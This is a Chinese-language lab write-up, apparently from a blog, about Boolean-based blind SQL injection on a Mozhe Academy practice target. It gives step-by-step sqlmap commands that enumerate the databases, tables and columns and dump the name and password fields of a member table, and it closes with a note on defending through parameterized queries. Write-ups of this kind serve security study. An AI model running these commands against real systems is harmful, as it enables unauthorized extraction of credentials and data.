墨者:SQL注入漏洞测试(布尔盲注)

墨者学院:SQL注入漏洞测试(布尔盲注)🚀

1. 什么是布尔盲注?🔍

布尔盲注(Boolean-based Blind SQL Injection)是SQL注入的一种形式,攻击者通过构造逻辑判断条件 (如AND 1=1OR 1=2),根据页面返回结果的差异(如内容变化、HTTP状态码)推断数据库信息。

作用:

  • 无显式错误回显时,通过布尔逻辑间接获取数据。
  • 适用于目标仅返回"真/假"两种状态的场景(例如登录验证)。

2. 工具:SQLMap🔧

SQLMap是一款自动化SQL注入工具,支持检测和利用多种注入类型(包括布尔盲注)。
核心功能

  • 自动识别注入点
  • 爆破数据库名、表名、字段名
  • 导出数据(如用户名密码)

3. 实验步骤(切换为自己的墨者靶场地址)🎯

步骤1:获取数据库名

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:46640/new_list.php?id=1" --dbs --batch
参数说明:
参数 作用
-u 指定目标URL
--dbs 列出所有数据库名
--batch 自动选择默认选项(非交互模式)



步骤2:列出表名

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:46640/new_list.php?id=1" -D stormgroup --tables --batch
参数说明:
参数 作用
-D 指定目标数据库
--tables 列出该数据库的所有表



步骤3:获取字段名

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:46640/new_list.php?id=1" -D stormgroup -T member --columns --batch
参数说明:
参数 作用
-T 指定目标表
--columns 列出该表的所有字段



步骤4:导出数据

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:46640/new_list.php?id=1" -D stormgroup -T member -C name,password,status --dump --batch
参数说明:
参数 作用
-C 指定要导出的字段
--dump 导出数据到本地文件



步骤5:清除缓存

假如重新启动了靶场,端口会发生改变,往往需要清理缓存,不然password可能不会发生变化

bash 复制代码
python sqlmap.py --purge
参数说明:
参数 作用
--purge 删除所有扫描缓存文件

4. 参数汇总表⭐

参数 缩写 作用
--url -u 指定目标URL
--dbs - 列出所有数据库
--tables - 列出指定数据库的表
--columns - 列出指定表的字段
--dump - 导出数据
--batch - 自动模式(无需手动确认)
--purge - 清除缓存

5. 总结🏁

  1. 布尔盲注通过逻辑判断间接获取数据,适合无错误回显的场景。
  2. SQLMap可自动化完成从注入检测到数据导出的全流程。
  3. 关键参数:
    • -u:指定目标
    • -D/-T/-C:逐层定位数据
    • --dump:最终导出数据

防御建议:使用参数化查询+输入过滤,避免拼接SQL语句!


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

相关推荐
老华带你飞21 小时前
建筑材料管理|基于springboot 建筑材料管理系统(源码+数据库+文档)
java·数据库·vue.js·spring boot·后端·学习·spring
NaiLuo_451 天前
MySQL基本查询
数据库·mysql
刺客xs1 天前
MYSQL数据库------多表查询
数据库·mysql
曹牧1 天前
Oracle:拼音码
数据库·oracle
BD_Marathon1 天前
【JavaWeb】日程管理03——准备数据库和实体类
数据库·oracle
大学生资源网1 天前
java毕业设计之面向校园的助力跑腿系统设计与实现源码(源码+文档+数据库)
java·数据库·mysql·毕业设计·源码·springboot
听到微笑1 天前
初探Nebula Graph核心架构设计
数据库·图数据库·nebula graph
他是龙5511 天前
43:SQL注入进阶(请求类型、方法与格式实战)
数据库·sql
木卫二号Coding1 天前
affine+docker+postgresql+备份数据库
数据库·docker·容器
云和数据.ChenGuang1 天前
openEuler系统下安装MongoDB的技术教程
运维·数据库·mongodb·压力测试·运维工程师·运维技术